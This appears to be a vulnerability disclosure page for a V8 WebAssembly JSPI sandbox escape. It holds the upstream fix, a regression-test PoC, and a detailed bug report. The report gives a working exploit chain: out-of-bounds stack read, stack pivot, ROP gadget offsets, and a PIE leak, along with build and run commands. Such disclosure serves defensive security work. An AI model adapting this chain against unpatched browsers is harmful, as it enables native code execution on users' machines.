CVE-2026-82072
Overview
Files Changed
src/builtins/builtins-inl.hsrc/builtins/builtins.ccsrc/heap/factory.cctest/mjsunit/sandbox/wasm-jspi-resume-arity.js
Patch
From 7f6e1abfad42b33b72cfa62edd3b7ef8fd4d5f92 Mon Sep 17 00:00:00 2001 From: Thibaud Michaud <[email protected]> Date: Wed, 15 Jul 2026 17:06:10 +0200 Subject: [PATCH] [wasm][jspi][sandbox] Fix argument adaptation for WasmResume builtin Set the formal parameter count of WasmResume to 1 and enable argument adaptation (kAdapt) in SharedFunctionInfo creation. This vulnerability allows a V8 sandbox escape. An attacker with in-sandbox memory corruption capability can inspect a Promise object to retrieve its internal fulfill handler (WasmResume JSFunction) and invoke it directly with excess arguments. Previously, kDontAdapt with parameter count 0 allowed passing extra arguments on the stack, bypassing parameter popping on return in the WasmResume assembly builtin, resulting in stack pointer misalignment, return address override, and arbitrary native code execution (sandbox escape). Also categorize kWasmResume and kWasmReject as kJSTrampoline so JSDispatchTable compatibility verification succeeds under sandbox mode. Fixed: 513144331 TAG=agy Change-Id: I6846c144d32106f7d6f045af9d90b08144de9068 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8096849 Reviewed-by: Clemens Backes <[email protected]> Commit-Queue: Thibaud Michaud <[email protected]> Cr-Commit-Position: refs/heads/main@{#108668} --- diff --git a/src/builtins/builtins-inl.h b/src/builtins/builtins-inl.h index bc451e3..ab8b0d8 100644 --- a/src/builtins/builtins-inl.h +++ b/src/builtins/builtins-inl.h @@ -322,6 +322,8 @@ #ifdef V8_ENABLE_WEBASSEMBLY case Builtin::kJSToWasmWrapper: case Builtin::kWasmPromising: + case Builtin::kWasmResume: + case Builtin::kWasmReject: #if V8_ENABLE_DRUMBRAKE case Builtin::kJSToWasmInterpreterWrapper: #endif diff --git a/src/builtins/builtins.cc b/src/builtins/builtins.cc index bce89f7..f407e2d 100644 --- a/src/builtins/builtins.cc +++ b/src/builtins/builtins.cc @@ -741,6 +741,8 @@ // but are allowed to be installed into JSFunctions. case Builtin::kJSToWasmWrapper: case Builtin::kWasmPromising: + case Builtin::kWasmResume: + case Builtin::kWasmReject: #if V8_ENABLE_DRUMBRAKE case Builtin::kJSToWasmInterpreterWrapper: #endif @@ -750,8 +752,6 @@ // These are core JS builtins which are instantiated lazily. case Builtin::kWasmConstructorWrapper: case Builtin::kWasmMethodWrapper: - case Builtin::kWasmResume: - case Builtin::kWasmReject: // Well known import functions. case Builtin::kWebAssemblyStringCast: case Builtin::kWebAssemblyStringTest: diff --git a/src/heap/factory.cc b/src/heap/factory.cc index 4a90769..66368b0 100644 --- a/src/heap/factory.cc +++ b/src/heap/factory.cc @@ -2574,7 +2574,7 @@ DirectHandle<SharedFunctionInfo> Factory::NewSharedFunctionInfoForWasmResume( DirectHandle<WasmResumeData> data) { - return NewSharedFunctionInfo({}, data, Builtin::kNoBuiltinId, 0, kDontAdapt); + return NewSharedFunctionInfo({}, data, Builtin::kNoBuiltinId, 1, kAdapt); } DirectHandle<SharedFunctionInfo> diff --git a/test/mjsunit/sandbox/wasm-jspi-resume-arity.js b/test/mjsunit/sandbox/wasm-jspi-resume-arity.js new file mode 100644 index 0000000..2e25860 --- /dev/null +++ b/test/mjsunit/sandbox/wasm-jspi-resume-arity.js @@ -0,0 +1,108 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --sandbox-testing + +d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js'); +d8.file.execute('test/mjsunit/sandbox/wasm-jspi.js'); + +const mem = new DataView(new Sandbox.MemoryView(0, 0x100000000)); + +let bp = []; +function bsuspend() { + const p = new Promise(() => {}); + bp.push(p); + return p; +} +const bb = new WasmModuleBuilder(); +const bimport = bb.addImport('m', 's', kSig_v_v); +bb.addFunction('f', kSig_v_v) + .addBody([kExprCallFunction, bimport, kExprCallFunction, bimport]) + .exportFunc(); +WebAssembly.promising(bb.instantiate({ + m: {s: new WebAssembly.Suspending(bsuspend)} +}).exports.f)(); + +function get_resume(p) { + const p_ptr = getPtr(p); + const reaction = getField(p_ptr, kJSPromiseReactionsOrResultOffset); + return Sandbox.getObjectAt( + getField(reaction, kPromiseReactionFulfillHandlerOffset)); +} +const resumeB = get_resume(bp[0]); + +let ap = []; +function asuspend() { + const p = new Promise(() => {}); + ap.push(p); + return p; +} +let carrier; +let armed = false; +function sink(x) { + if (!armed) return; + resumeB(); + resumeB.call(carrier, x, x, x, x, x, x, x, x, x); +} +function warmSink(x) {} +const ab = new WasmModuleBuilder(); +const aimport = ab.addImport('m', 's', kSig_r_v); +const sinkImport = ab.addImport('m', 'i', kSig_v_r); +const warmImport = ab.addImport('m', 'w', kSig_v_r); +const keepSuspended = ab.addImport('m', 't', kSig_v_v); +ab.addFunction('f', kSig_v_v) + .addBody([ + kExprCallFunction, aimport, + kExprCallFunction, sinkImport, + kExprCallFunction, keepSuspended, + ]) + .exportFunc(); +ab.addFunction('warm', makeSig([kWasmExternRef], [])) + .addBody([kExprLocalGet, 0, kExprCallFunction, warmImport]) + .exportFunc(); +const ai = ab.instantiate({m: { + s: new WebAssembly.Suspending(asuspend), i: sink, + w: warmSink, + t: new WebAssembly.Suspending(asuspend), +}}).exports; + +const safe = {safe: true}; +for (let i = 0; i < 1001; ++i) ai.warm(safe); +armed = true; + +WebAssembly.promising(ai.f)(); +const resumeA = get_resume(ap[0]); + +function stage(f, bad, values) { + const x = values[0]; + if (bad) f(); else f(1); + return x; +} +function a(x) {} function b(x) {} function c(x) {} +function d(x) {} function e(x) {} +const targets = [a, b, c, d, e]; +const benign = new Float64Array(1); +for (let i = 0; i < 1000; ++i) stage(targets[i % 5], !!(i & 1), benign); +stage(a, false, benign); + +const names = Sandbox.getBuiltinNames(); +const pushCode = (Sandbox.getBuiltinCode( + names.indexOf('ArrayPrototypePush')) - 1) >>> 0; +const pushEntry = mem.getBigUint64(pushCode + 24, true); +const imageBase = pushEntry - 0x1bae300n; +const popRdi = imageBase + 0x8206bcn; // pop rdi; ret +const exitPlt = imageBase + 0x2049720n; + +const backing = new Array(128).fill(1.1); +const elements = Sandbox.readObjectField(backing, 'elements') >>> 0; +carrier = Sandbox.getObjectAt(elements); +const rop = getPtr(carrier); +mem.setBigUint64(rop, popRdi, true); +mem.setBigUint64(rop + 8, 42n, true); +mem.setBigUint64(rop + 16, exitPlt, true); + +const raw = new BigUint64Array(1); +const values = new Float64Array(raw.buffer); +raw[0] = 0x414243444546n; +stage(resumeA, true, values);
Regression Test / PoC
diff --git a/test/mjsunit/sandbox/wasm-jspi-resume-arity.js b/test/mjsunit/sandbox/wasm-jspi-resume-arity.js
new file mode 100644
index 0000000..2e25860
--- /dev/null
+++ b/test/mjsunit/sandbox/wasm-jspi-resume-arity.js
@@ -0,0 +1,108 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --sandbox-testing
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+d8.file.execute('test/mjsunit/sandbox/wasm-jspi.js');
+
+const mem = new DataView(new Sandbox.MemoryView(0, 0x100000000));
+
+let bp = [];
+function bsuspend() {
+ const p = new Promise(() => {});
+ bp.push(p);
+ return p;
+}
+const bb = new WasmModuleBuilder();
+const bimport = bb.addImport('m', 's', kSig_v_v);
+bb.addFunction('f', kSig_v_v)
+ .addBody([kExprCallFunction, bimport, kExprCallFunction, bimport])
+ .exportFunc();
+WebAssembly.promising(bb.instantiate({
+ m: {s: new WebAssembly.Suspending(bsuspend)}
+}).exports.f)();
+
+function get_resume(p) {
+ const p_ptr = getPtr(p);
+ const reaction = getField(p_ptr, kJSPromiseReactionsOrResultOffset);
+ return Sandbox.getObjectAt(
+ getField(reaction, kPromiseReactionFulfillHandlerOffset));
+}
+const resumeB = get_resume(bp[0]);
+
+let ap = [];
+function asuspend() {
+ const p = new Promise(() => {});
+ ap.push(p);
+ return p;
+}
+let carrier;
+let armed = false;
+function sink(x) {
+ if (!armed) return;
+ resumeB();
+ resumeB.call(carrier, x, x, x, x, x, x, x, x, x);
+}
+function warmSink(x) {}
+const ab = new WasmModuleBuilder();
+const aimport = ab.addImport('m', 's', kSig_r_v);
+const sinkImport = ab.addImport('m', 'i', kSig_v_r);
+const warmImport = ab.addImport('m', 'w', kSig_v_r);
+const keepSuspended = ab.addImport('m', 't', kSig_v_v);
+ab.addFunction('f', kSig_v_v)
+ .addBody([
+ kExprCallFunction, aimport,
+ kExprCallFunction, sinkImport,
+ kExprCallFunction, keepSuspended,
+ ])
+ .exportFunc();
+ab.addFunction('warm', makeSig([kWasmExternRef], []))
+ .addBody([kExprLocalGet, 0, kExprCallFunction, warmImport])
+ .exportFunc();
+const ai = ab.instantiate({m: {
+ s: new WebAssembly.Suspending(asuspend), i: sink,
+ w: warmSink,
+ t: new WebAssembly.Suspending(asuspend),
+}}).exports;
+
+const safe = {safe: true};
+for (let i = 0; i < 1001; ++i) ai.warm(safe);
+armed = true;
+
+WebAssembly.promising(ai.f)();
+const resumeA = get_resume(ap[0]);
+
+function stage(f, bad, values) {
+ const x = values[0];
+ if (bad) f(); else f(1);
+ return x;
+}
+function a(x) {} function b(x) {} function c(x) {}
+function d(x) {} function e(x) {}
+const targets = [a, b, c, d, e];
+const benign = new Float64Array(1);
+for (let i = 0; i < 1000; ++i) stage(targets[i % 5], !!(i & 1), benign);
+stage(a, false, benign);
+
+const names = Sandbox.getBuiltinNames();
+const pushCode = (Sandbox.getBuiltinCode(
+ names.indexOf('ArrayPrototypePush')) - 1) >>> 0;
+const pushEntry = mem.getBigUint64(pushCode + 24, true);
+const imageBase = pushEntry - 0x1bae300n;
+const popRdi = imageBase + 0x8206bcn; // pop rdi; ret
+const exitPlt = imageBase + 0x2049720n;
+
+const backing = new Array(128).fill(1.1);
+const elements = Sandbox.readObjectField(backing, 'elements') >>> 0;
+carrier = Sandbox.getObjectAt(elements);
+const rop = getPtr(carrier);
+mem.setBigUint64(rop, popRdi, true);
+mem.setBigUint64(rop + 8, 42n, true);
+mem.setBigUint64(rop + 16, exitPlt, true);
+
+const raw = new BigUint64Array(1);
+const values = new Float64Array(raw.buffer);
+raw[0] = 0x414243444546n;
+stage(resumeA, true, values);
Original Bug Report
JSPI Wasm-Resume Fixed-Arity Assumption Enables Native ROP Outside the V8 Heap Sandbox
Security Report: JSPI Wasm-Resume Fixed-Arity Assumption Enables Native ROP Outside the V8 Heap Sandbox
Reporter: OpenAI Codex Security
Organization: OpenAI
Component: V8 JavaScript Engine (WebAssembly JavaScript Promise Integration / V8 heap sandbox)
Affected Area: WasmResume and WasmReject internal JS callbacks, JSPI stack switching, Wasm-to-JS import wrappers
Bug Class: Directly callable internal callback -> unchecked actual argc -> native stack OOB read and incorrect cleanup -> controlled RIP/RSP
Summary
JSPI represents a suspended WebAssembly continuation with a
sandbox-resident JavaScript JSFunction. V8 installs that function as a
Promise reaction handler and expects ordinary Promise processing to invoke it
with exactly one argument: the fulfillment or rejection value.
This is not a valid security assumption after an attacker has arbitrary
read/write inside the V8 pointer cage. The callback is itself a sandbox object,
so caged read/write can recover the existing object from the pending Promise
reaction and invoke it as a normal JavaScript function with any actual argument
count. The supplied exploit uses --run-as-sandbox-security-poc only to model
that prerequisite.
On x86-64, Generate_WasmResumeHelper reads and then discards the actual
argument count. After switching to the suspended stack, it unconditionally
loads the resolved value from the native stack slot for one argument. When the
resumed continuation later suspends again, the helper also unconditionally
returns with ret 16, removing exactly one receiver and one parameter.
Consequently:
zero parameters:
the resolved value is read outside the actual argument vector
more than one parameter:
the native stack is returned with an attacker-selected displacement
The exploit combines both effects. A zero-argument invocation loads an
attacker-controlled full-width Float64 spill from an ordinary optimized
JavaScript frame. A valid Wasm continuation carries that word through an
externref import without truncating it. A second suspended continuation and
an excess-argument invocation then make the word the native return address and
pivot the process stack to an attacker-filled object inside the cage.
The final ROP chain invokes the process _exit@plt(42). This is native process
control-flow execution outside the V8 heap sandbox.
A second PoC replaces only the transported ROP pivot with the literal
0x414243444546. The same JavaScript file produces an instruction-fetch fault
at that address on both current main and the V8 revision shipped by Chrome
Stable 150.0.7871.64. GDB independently confirms that rip equals the supplied
literal. The debugger is only a register oracle and is not an exploit
prerequisite.
Impact
An attacker with the standard V8 heap-sandbox threat-model prerequisite of arbitrary caged read/write can execute a chosen native ROP chain in the renderer process. The demonstrated chain controls RIP, RSP, and the first integer argument:
RIP = pop rsp; ret
RSP = attacker-filled in-cage object
ROP stack:
pop rdi; ret
42
_exit@plt
The ROP PoC is attached as poc_jspi_rop_natural.js. Confirmed
current-main output:
$ ./out/latest-main-api-release/d8 --run-as-sandbox-security-poc poc_jspi_rop_natural.js
entry 559d6d111300 base 559d6b563000 pivot 559d6bde83f1 exit 559d6d5ac720
$ echo $?
42
The exploit succeeded in 10/10 fresh processes with independent PIE addresses. A structurally identical correct-arity control exited normally with status zero.
The fixed-target control-flow PoC is attached as
poc_jspi_rip_control.js. It differs from the full ROP PoC only in the final
payload assignment:
raw[0] = 0x414243444546n;
Running it as an ordinary d8 process on both revisions terminates at the chosen target:
V8 main 3a805c109d1adcbde0ebc6e640d5f74d9ff86f03:
Received signal 11 SEGV_MAPERR 414243444546
Chrome 150.0.7871.64 / V8 15.0.245.13:
Received signal 11 SEGV_MAPERR 414243444546
GDB verification on each unmodified binary reports:
Thread 1 received signal SIGSEGV, Segmentation fault.
0x0000414243444546 in ?? ()
rip 0x414243444546 0x414243444546
The demonstrated impact is a V8 heap-sandbox bypass to native process code execution. This report does not claim a separate Chromium OS renderer-sandbox escape.
Root Cause (High Level)
The normal Promise path maintains this property:
WasmResume is invoked with exactly one value, and its fixed load and fixed
stack cleanup describe the actual call frame
The V8 sandbox boundary requires the stronger property:
For every attacker-selected actual argument count, WasmResume reads only an
argument that exists and removes the entire actual argument vector on return
The helper starts computing the dynamic count but explicitly abandons it.
Neither the load nor the epilogue uses the actual value. Treating the callback
as internal does not restore this invariant because its JSFunction and
SharedFunctionInfo are sandbox-resident objects.
This is both a bounds error and a representation-boundary error. The
zero-argument load copies an arbitrary native-stack word into the Wasm
reference register. Downstream Wasm and Wasm-to-JS code legitimately assumes
that register contains a valid tagged externref and preserves all 64 bits.
The initial bad assumption therefore escapes the compressed-pointer
representation before any ordinary JavaScript map check.
Affected Versions
Runtime exploitation was confirmed on current main:
V8 upstream main: 3a805c109d1adcbde0ebc6e640d5f74d9ff86f03
Commit-Position: refs/heads/main@{#108628}
Commit time: 2026-07-13
V8 version: 15.2.0 (candidate)
Architecture: x86-64 Linux
V8 sandbox and pointer compression: enabled
Release assertions: is_debug=false, dcheck_always_on=false
Runtime flags: --run-as-sandbox-security-poc only
Experimental Wasm flags: none
--allow-natives-syntax: not used
Tracked V8 source modifications: none
d8 SHA-256: 598c5fbef6f9cd66b18971e7d434de29e7a9c7acbdc89fae76b719daef3db749
The literal-RIP PoC was also tested, unchanged, against the exact V8 dependency revision from the current Chrome Stable 150 release family:
Chrome release: 150.0.7871.64
V8 revision: 968f19a8970f8d91702d86f0ec1522f3909781b7
V8 version: 15.0.245.13
Architecture: x86-64 Linux
V8 sandbox and pointer compression: enabled
Release assertions: is_debug=false, dcheck_always_on=false
Runtime flags: --run-as-sandbox-security-poc only
Experimental Wasm flags: none
--allow-natives-syntax: not used
Tracked V8 source modifications: none
d8 SHA-256: 14322d464981727af3574938777b40116d45eaa5fc4dfef08fdaec2c6ec68051
The source-level default-stable affected range is:
V8 13.7 through V8 15.0
Chrome 137 through Chrome 150
The official [wasm][jspi] Enable JSPI change marks JSPI as a shipped
default feature in V8 13.7. Every official branch head from V8 13.7 through
15.0 contains both the fixed [rbp+24] load and fixed one-parameter cleanup.
The V8 15.1 release branch and 15.2 main are also affected; 15.1 is not the
current Chrome Stable line at the time of this analysis.
The release cutoff under the requested default-flags criterion is:
V8 10.5.218-12.5: current fixed-load/cleanup core, old experimental API; excluded
V8 12.6-13.6: current promising/Suspending API, jspi=false; excluded
V8 13.7-14.1: jspi=true by default; affected without a runtime flag
V8 14.2-15.0: feature flag removed; affected without a runtime flag
The exact default-enablement transition occurs between tags 13.7.117 and
13.7.118. Stable 13.7.152.* and all subsequent Stable release families
are therefore in scope.
The affected helper pattern is also present in the architecture-specific implementations for ARM64 and other targets, but this report claims runtime exploitation only on x86-64.
Detailed Analysis
Introducing Commit and Stable Exposure
The original implementation landed, was reverted twice, and was finally re-landed permanently as:
https://github.com/v8/v8/commit/dfbe502810f5daeeb95a90df5b4f8f100a334693
dfbe502810f5daeeb95a90df5b4f8f100a334693
2022-02-02
Reland "Reland "[wasm] Resume suspender on resolved promise""
Cr-Commit-Position: refs/heads/main@{#78922}
That permanent re-land introduced the on-fulfilled JSFunction and the
unconditional resolved-value load from [rbp+24]. The original
a865d16bc276 change and the first f942f656dcfd re-land were reverted and
are not ancestors of current main.
The on-rejected variant and shared Generate_WasmResumeHelper arrived in
e35039e7736c. The exact current fixed cleanup was introduced by:
https://github.com/v8/v8/commit/3c984ee9ee4e24e3d144668e5bbcea5d021e502f
3c984ee9ee4e24e3d144668e5bbcea5d021e502f
2022-07-20
[wasm] Fix WasmResume return pop count
Cr-Commit-Position: refs/heads/main@{#81848}
It changed the prior erroneous ret 3 to ret(2 * kSystemPointerSize).
The nominal path was corrected to remove one receiver and one parameter, but
the implementation still did not validate or clean up the actual count. This
is the first permanent commit containing the exact current dual-handler,
fixed-load, and fixed-cleanup shape; the underlying invalid read originated in
dfbe5028.
The current WebAssembly.promising / WebAssembly.Suspending API names were
added in:
https://github.com/v8/v8/commit/63a58875aea33190ef982d254d10f5700463f49a
That change first appears in V8 12.6, while JSPI was still disabled by default.
The issue became default-reachable in Stable through:
https://github.com/v8/v8/commit/a5ab5aab6e609db421a29b7b9ce1b75f047ed28e
a5ab5aab6e609db421a29b7b9ce1b75f047ed28e
2025-04-15
[wasm][jspi] Enable JSPI
Cr-Commit-Position: refs/heads/main@{#99799}
This moved V(jspi, ..., false) to the shipped-feature list as
V(jspi, ..., true) with the source comment Shipped in v13.7. V8 13.7 is
therefore the first stable line in scope under default runtime behavior.
13.7.117 still has jspi=false; 13.7.118 is the first tag with
jspi=true.
The flag was later removed completely by 613c0434032c in V8 14.2:
https://github.com/v8/v8/commit/613c0434032cb640a359f27a9212a69ca8908089
JSPI Creates the Resume Handler as a Sandbox-Resident JSFunction
Factory::NewWasmSuspenderObjectInitialized() creates a normal JSFunction
whose shared information contains WasmResumeData:
DirectHandle<WasmResumeData> resume_data =
NewWasmResumeData(suspender, wasm::OnResume::kContinue);
DirectHandle<SharedFunctionInfo> resume_sfi =
NewSharedFunctionInfoForWasmResume(resume_data);
DirectHandle<JSObject> resume =
Factory::JSFunctionBuilder{isolate(), resume_sfi, context}.Build();
...
suspender->set_resume(*resume);
The object is later installed as the on-fulfilled handler for the Promise returned by a suspending import. The memory-corruption API stage walks:
pending JSPromise -> PromiseReaction -> fulfill_handler JSFunction
This walk uses only offsets in the pointer-compression cage. It retrieves the real callback associated with the real active suspender; it does not forge a trusted suspender or corrupt a trusted-pointer-table entry.
The callback cannot be treated as unobservable or uncallable at this security boundary. Caged arbitrary read/write already permits discovering and gaining a JavaScript handle to sandbox objects.
WasmResume Discards the Dynamic Count
The current x86-64 helper obtains the actual JavaScript argument count from
rax and decrements it to exclude the receiver:
Register param_count = rax;
__ decq(param_count); // Exclude receiver.
...
param_count = no_reg;
Assigning no_reg records that the register value has been intentionally
discarded. The continuation switch proceeds without saving an argument count.
The resolved value is later loaded from a fixed native-stack slot:
// Move resolved value to return register.
__ movq(kReturnRegister0, Operand(rbp, 3 * kSystemPointerSize));
For a call with one actual parameter, this is the intended first parameter. For a call with no parameters, it is beyond the receiver and outside the actual argument vector.
Finally, if the resumed Wasm code suspends again, the callback returns to its attacker-controlled caller with a fixed cleanup:
__ LoadRoot(kReturnRegister0, RootIndex::kUndefinedValue);
__ LeaveFrame(StackFrame::WASM_JSPI);
// Pop receiver + parameter.
__ ret(2 * kSystemPointerSize);
The code never checks that one parameter exists and never removes parameters
beyond the first. WasmReject is generated by the same helper and inherits
the same arity assumption.
A Zero-Argument Call Imports a Raw Native-Stack Word into Wasm
The exploit warms the ordinary stage function using 1,000 benign calls. The
default optimizing tier keeps values[0] live as an unboxed 64-bit
Float64 across the unknown f() call:
function stage(f, bad, values) {
const x = values[0];
if (bad) f(); else f(1);
return x;
}
Calling the recovered resume handler with zero parameters makes the fixed
[rbp+24] load consume that live word. The explot sets the word to the complete
64-bit PIE-relative address of pop rsp; ret. It is not a compressed sandbox
offset and its upper 32 bits are preserved.
The resumed target’s suspending import has an externref return type, so the
invalid word continues as a Wasm reference. No pointer-table access or map load
occurs at this point.
A Default Tiered Wasm-to-JS Wrapper Preserves the Full Word
Wasm-to-JS import wrappers begin in a generic builtin and tier up after the default 1,000-call budget:
constexpr uint32_t kGenericWrapperBudget = 1000;
The cache key includes the canonical signature, call kind, expected arity,
and suspend state. The exploit warms a separate benign non-suspending import
with the same (externref) -> void signature and arity as sink. This compiles
the shared wrapper without making sink hot.
In that compiled wrapper, ToJS returns an externref directly when the type
does not use the Wasm-null representation:
// At this point, we only have to process WasmNull.
// These two cases are never WasmNull.
if (!type.is_nullable()) return ret;
if (!type.use_wasm_null()) return ret;
That behavior is valid only while the Wasm reference register satisfies its
representation contract. The arity bug violated the contract by loading raw
native-stack data. The exploit’s JavaScript sink does not dereference or
inspect the resulting argument; it forwards the word only as native call-stack
data.
Fixed Cleanup Converts Excess Arguments into RIP and RSP Control
A second JSPI target executes two suspending imports in sequence. The first
resumeB() call resumes the Wasm function and makes it suspend at the second
import. The same suspender callback can then resume that continuation again.
The exploits’s second invocation is:
resumeB.call(carrier, x, x, x, x, x, x, x, x, x);
x is the raw 64-bit pivot address imported by the first target.
carrier is a legitimate tagged pointer to attacker-filled sandbox memory.
Because the callback removes only two native stack words, the excess argument
vector is left in the surrounding native frame. When sink returns, its native
return path consumes that vector as control data.
The resulting process state is:
RIP = x = pop rsp; ret
next stack word = carrier
The pivot sets rsp to carrier. The attacker has written the following
native chain into that object with caged memory writes:
carrier + 0x00: pop rdi; ret
carrier + 0x08: 42
carrier + 0x10: _exit@plt
All target addresses include independent PIE upper bits and change on each process launch. Reaching status 42 therefore requires successful full-width transport, cleanup corruption, stack pivot, gadget execution, argument control, and an outer-process PLT call.
Exploitation Strategy
The exploit is a two-stage V8 sandbox escape:
stage 0:
use --run-as-sandbox-security-poc to model arbitrary read/write inside
the V8 pointer-compression cage
stage 1:
convert that caged capability into native process ROP through default JSPI
and default JIT behavior
Stage 1 performs:
1. Start two ordinary WebAssembly.promising calls with suspending imports.
2. Recover each real JSPI fulfillment JSFunction from a pending Promise.
3. Tier the normal (externref)->void Wasm-to-JS wrapper with 1,001 calls.
4. Leak ArrayPrototypePush's full code entry from its sandbox Code object.
5. Derive the exact-build PIE base and three code-reuse addresses.
6. Put pop-rdi, 42, and _exit@plt in a FixedDoubleArray-shaped carrier.
7. Keep the pivot address live as unboxed Float64 data across resumeA().
8. Let resumeA's fixed OOB load import it as an externref and forward it.
9. Invoke resumeB with excess arguments to shift the native return stack.
10. Pivot RSP to the carrier and execute _exit@plt(42).
No backing-store pointer is modified. No WebAssembly code-pointer-table or trusted-pointer-table entry is forged. No source logic change, logging patch, debugger, experimental feature, or native intrinsic is used.
Proof of Concept
Attach these two JavaScript files individually to the issue:
poc_jspi_rip_control.js exact literal RIP proof, tested on main and Stable
poc_jspi_rop_natural.js full native ROP proof, exits through _exit@plt(42)
No supporting archive or source modification is required. From a V8 checkout
at 3a805c109d1adcbde0ebc6e640d5f74d9ff86f03, generate a release output:
gn gen out/jspi-arity --args='is_debug=false
dcheck_always_on=false
symbol_level=0
v8_enable_sandbox=true
v8_enable_memory_corruption_api=true'
autoninja -C out/jspi-arity d8
Run the exact-RIP variant:
d8 --run-as-sandbox-security-poc poc_jspi_rip_control.js
Expected crash address:
0x414243444546
Optional register verification uses GDB only as an observer:
gdb -q -batch \
-ex 'handle SIGSEGV stop print nopass' \
-ex run -ex 'info registers rip' --args \
d8 --run-as-sandbox-security-poc poc_jspi_rip_control.js
Run the full ROP exploit from the V8 checkout root. Note that the ROP offsets may need to be corrected for the target binary.
d8 --run-as-sandbox-security-poc poc_jspi_rop_natural.js
echo $?
Expected exit status:
42
For the Stable test, check out
968f19a8970f8d91702d86f0ec1522f3909781b7, use the same GN arguments, and
run poc_jspi_rip_control.js with only
--run-as-sandbox-security-poc. This revision is the V8 dependency recorded
by Chrome 150.0.7871.64.
The executable-layout constants in the full ROP PoC are:
Builtins_ArrayPrototypePush: 0x1bae300
pop rsp; ret: 0x8853f1
pop rdi; ret: 0x8206bc
_exit@plt: 0x2049720
These constants are specific to the recorded current-main revision, GN arguments, and toolchain. They make ASLR resolution automatic for the full ROP exploit. A layout change requires updating those constants but does not alter the arity primitive.
Suggested Fix
The JSPI callback ABI must preserve and consume the actual JavaScript argument count. For every architecture:
- Save the actual count in protected native frame state or a non-clobbered register across the stack switch.
- If the callback has no actual parameter, provide
undefinedinstead of loading past the argument vector. If at least one parameter exists, load the first parameter. - On the suspend return path, discard the receiver and every actual parameter, not a fixed two words.
- Apply the same correction to both on-fulfilled and on-rejected variants.
- Add sandbox regression tests that recover each callback from a Promise and call it with zero, one, and several arguments from optimized and unoptimized callers.
The argument normalization and stack cleanup should follow the ordinary V8 JavaScript-call contract. Merely recording a formal arity of one is not enough; JavaScript callers can always supply a different actual arity.
The following changes are not sufficient by themselves:
- Relying on Promise internals to always supply one value.
- Hiding or relocating the callback while leaving it sandbox-resident.
- Adding validation only in the Wasm-to-JS
externrefwrapper. - Hardening only the demonstrated gadgets or PIE leak.
- Fixing x86-64 without auditing the replicated architecture helpers.
Reporter
OpenAI Codex Security (amyb)
Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
- https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/builtins/x64/builtins-x64.cc#L3940-L3953
- https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/builtins/x64/builtins-x64.cc#L3994-L4000
- https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/builtins/x64/builtins-x64.cc#L4015-L4021
- https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/compiler/turboshaft/wasm-wrappers-inl.h#L163-L178
- https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/heap/factory.cc#L2294-L2318
- https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/wasm/wasm-constants.h#L240
- https://github.com/v8/v8/commit/3c984ee9ee4e24e3d144668e5bbcea5d021e502f
- https://github.com/v8/v8/commit/613c0434032cb640a359f27a9212a69ca8908089
- https://github.com/v8/v8/commit/63a58875aea33190ef982d254d10f5700463f49a
- https://github.com/v8/v8/commit/a5ab5aab6e609db421a29b7b9ce1b75f047ed28e
- https://github.com/v8/v8/commit/dfbe502810f5daeeb95a90df5b4f8f100a334693